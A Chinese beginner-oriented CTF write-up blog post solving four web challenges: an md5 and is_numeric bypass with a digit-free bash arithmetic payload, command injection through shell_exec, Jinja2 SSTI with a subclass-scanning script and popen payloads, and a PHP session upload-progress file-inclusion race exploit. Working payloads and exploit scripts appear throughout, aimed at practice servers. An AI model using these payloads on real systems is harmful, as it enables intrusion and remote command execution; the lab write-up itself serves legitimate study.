站在小白的视角上,写了在写题目的wp方面更多是想体现题目思考的逻辑和细节,更多是写给同样新手小白的内容,解题方面为什么从这一步到下一步的,很助于培养思考题目的逻辑思维,尽我所能把细节阐释到位,有些地方可能理解说辞不是特别到位,如果有问题就麻烦各位大佬师傅指点~
其他刷题记录可以在博客主页上看到。主方向是web。
目录
[LitCTF 2024]百万美元的诱惑
开题。
代码审计一下:
GET传参:a,b,c;
要求:a和b值不等但md5加密后二者需要若相等。c不能在is_numeric()处理后返回false。并且c需要大于2024。
a和b这里有两种绕过MD5的方法。
数组绕过 或 选一对在MD5加密后0e开头的字符【这里推荐一个博客:0e开头MD5值小结_0e开头的md5-CSDN博客】
c的绕过。这里可以去PHP手册上搜一下用法,这种思路对培养以后做题各方面都有好处。
这里显示 c 需要是 数字 或者 数字字符串 则返回 true。我们需要的目的是返回true。
而且不光是需要函数is_numeric返回true。
而且c要大于2024。
这里就有一个知识点: 数字字符串在和数字比较时候会自动转化成数字去比较。比如2025p会转化为2025。
payload:
//分别对应md5的两种绕过方法
a[]=1&b[]=2&c=2025a
a=s878926199a&b=s214587387a&c=2025a
回显【./dollar.php】
我们访问一下。
代码审计一下:
GET传参x。
x不能含有字母,数字,#等等。
但是flag在12.php中。
最终执行shell的地方是代码:system("cat".$x.".php");
所以我们需要让x的值为 12
不能用到数字,字母。那我们只能通过取反或者异或的形式把12凑出来。
这里payload中我们用到一个知识。
在linux语法中,我们可以使用$(())
进行数学运算。
$((7*7))
回显49。
$(())
回显0。
但是又不能写 $((3*4)) 。虽然结果是12,但这一定会被ban掉。怎么办?
我们利用【~】取反字符。
$((~$(())))
回显-1
$((~$(())))$((~$(()))) //回显-1-1 $(($((~$(())))$((~$(()))))) //回显-2 $(($(($((~$(())))$((~$(()))))))) //回显1 它是在 $((~$(())~$(()))) 基础上再取反。等于$((~$(-2)))
同理。我们需要13个-1。再取反。$((~$(-13))) 即是 12
payload:
//这里我写一下过程。 $((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))) //13个-1 $(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))) //13个-1加和 值为-13 $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))) //对-13取反。即先变13再减1=>12 //最终payload: $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
最终需要查看码源才能看得见flag。
[NSSRound#7 Team]ec_RCE
开题。
先代码审计一下:
POST传参:action 和 data
$data参数是被拼接了的。最终展示应该是 ‘data’。
shell_exec()函数,类似于system,eval等。
函数里面一长串:"/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar
这个第一眼扫过去就容易被唬住。其实属于是打开一个java文件的操作。
那么这种情况下我们如何执行我们的shellcode呢?
一开始我想了挺久,但一直停留在前面文件操作,不知道怎么下手。
再看几眼,发现可以用分号在这里执行多个命令。
即法一:
【;】分号: 顺序地独立执行各条命令, 彼此之间不关心是否失败, 所有命令都会执行。
即
$action = ;
$data = ls /;
而分号在这里的作用。就是使得两个命令分开执行。
这两个命令:1个是调用java文件。1个是查看根目录。
但是特别注意。不能写成
action=;&data=ls /
要写成:
action=;&data='ls /'
或
action=;&data="ls /"
就相当于如果你写system(ls /)一样是错的。
需要写成system('ls /'); 或者system("ls /");
但是如果你写
action=;&data=ls
是没问题的。因为这等于system(ls);
法二:
【||】:顺序执行各条命令, 只有当前面一个执行失败的时候, 才执行后面的。
payload:
action=||&data='ls /'
而这里是有回显的。证明第一个命令是执行失败的。
拿flag。
[HNCTF 2022 WEEK2]ez_SSTI
开题。
ok。SSTI注入。
我们先抓包看看参数名是什么。大多数情况下都是name.
试试。
然后一般情况下都会过滤一些东西。我们看看过滤了什么。
直接fuzz测试一下。
【SSTI-fuzz字典】
//ssti-fuzz.txt . [ ] _ { } {{ }} {% %} {%if {%endif {%print( 1 2 3 4 5 6 7 8 9 0 ' " + %20 %2B %2b join() u os popen importlib linecache subprocess |attr() request args value cookie __getitem__() __class__ __base__ __bases__ __mro__ __subclasses__() __builtins__ __init__ __globals__ __import__ __dic__ __getattribute__() __getitem__() __str__() lipsum current_app
基本上没有过滤什么。不算难的。
直接上payload测试一下。
这个给一个python脚本用来找可以获得含有可以执行shell命令方法的类
import requests
num = 0
for num in range(500):
try:
url = "http://node5.anna.nssctf.cn:26775/?name={{[].__class__.__base__.__subclasses__()["+str(num)+"].__init__.__globals__.popen}}"
res = requests.get(url=url).text
if 'popen' in res:
print(num)
num += 1
except:
num += 1
找到在137
直接上payload:【以下都可以。】
?name={{[].__class__.__base__.__subclasses__([137].__init__.__globals__.popen("ls").read()}}
?name={{[].__class__.__base__.__subclasses__()[137].__init__.__globals__.popen("tac flag").read()}}
//这个也可以。
?name={{config.__class__.__init__.__globals__['os'].popen('tac flag').read()}}
当然。也可以工具【fenjing】一把梭哈。
这个在我主页有介绍window下载及如何快速上手使用:fenjing工具的使用
[第五空间 2021]EasyCleanup
开题。
我们先来浅代码审计一下:
这段PHP代码有两个方法:filter()和checkNums()
这两个方法基本上都是正则过滤。预防恶意代码。
两段 if 语句。
第一段 IF 语句:
GET传参mode。如果mode=eval。则执行【eval(phpinfo());】
如果mode!=eval,则对mode进行filter和checkNums两种方法正则过滤,同时mode长度不能大于15,否则回显【hacker】并终止执行命令。
如果三个条件都没问题,则将$mode内容当作PHP代码执行。
第二段 IF 语句:
GET传参file。file长度不能大于15,且对file用filter方法进行正则过滤。否则回显【hacker】并终止执行命令。
如果两个条件都没问题,则对 file 进行文件包含。
显然。file的过滤条件没有mode严格。因为用file进行文件包含是一个更优解。
用file进行文件包含往往利用PHP伪协议,目录穿越,日志文件包含等。但这些都基本上会被fileter方法过滤掉。
而session文件包含也许行得通。
在session处我们可以利用GET传参将我们构造好的恶意代码【shellcode】传入session中
问题来了,在没有GET传参的条件下,如何上传我们构造好的shellcode呢?
这个时候session.upload_progress.enabled这个选项就很关键。
而session.upload_progress.enabled我们用phpinfo()可以看见。
第一个 IF 语句中 我们可以查看phpinfo的内容。
那为什么又故意让我们看见phpinfo的内容呢??
答案不言而喻。用session进行文件包含可能就是预期解。
这个功能开启【On】意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中,利用这个特性可以将shellcode写入session文件。
而在本题的phpinfo中,这个功能是开启了的。
这里摘用一下其他师傅的wp里的内容,觉得非常好,有助于理解python脚本。
【session.auto_start】:如果 session.auto_start=On ,则PHP在接收请求的时候会自动初始化 Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。但session还有一个默认选项—【session.use_strict_mode】。默认值为 off。此时用户是可以自己定义 Session ID 的。比如,我们在 Cookie 里设置 PHPSESSID=ph0ebus ,PHP 将会在服务器上创建一个文件:/tmp/sess_ph0ebus”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的 session.upload_progress.name 值组成,最后被写入 sess_ 文件里。 【session.save_path】:负责 session 文件的存放位置,后面文件包含的时候需要知道恶意文件的位置,如果没有配置则不会生成session文件 【session.upload_progress_enabled】:当这个配置为 On 时,代表 session.upload_progress 功能开始,如果这个选项关闭,则这个方法用不了 【session.upload_progress_cleanup】:这个选项默认也是 On,也就是说当文件上传结束时,session 文件中有关上传进度的信息立马就会被删除掉;这里就给我们的操作造成了很大的困难,我们就只能使用条件竞争(Race Condition)的方式不停的发包,争取在它被删除掉之前就成功利用 【session.upload_progress_name】:当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控 【session.upload_progress_prefix】:它+session.upload_progress_name 将表示为 session 中的键名
而能利用session文件包含方法需要满足:
session.upload_progress.enabled选项状态为On.
包含过程中需要:
1.请求的Cookie中包含Session ID
2.发送一个文件上传请求,其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS的字段
TIP:
如果我们只上传一个文件,这里也是不会遗留下Session文件的,所以表单里必须有两个以上的文件上传。
#session_upload_python
import io
import requests
import threading #多线程
myurl = 'http://node4.anna.nssctf.cn:28888/'
sessid = '7t0'
myfile = io.BytesIO(b'5fn_' * 1024) #文件插入大量垃圾字符来使返回的时间更久,这样临时文件保存的时间更长
writedata = {"PHP_SESSION_UPLOAD_PROGRESS": "<?php system('ls /');?>"} #这里写命令
mycookie = {'PHPSESSID': sessid}
def writeshell(session):
while True:
resp = requests.post(url=myurl, data=writedata, files={'file': ('hakaiisu.txt', 123)}, cookies=mycookie)
def getshell(session):
while True:
payload_url = myurl + '?file=' + '/tmp/sess_' +sessid
resp = requests.get(url=payload_url)
if 'upload_progress' in resp.text:
print(resp.text)
break
else:
pass
if __name__ == '__main__':
session = requests.session()
writeshell = threading.Thread(target=writeshell, args=(session,))
writeshell.daemon = True
writeshell.start()
getshell(session)
拿到flag咯。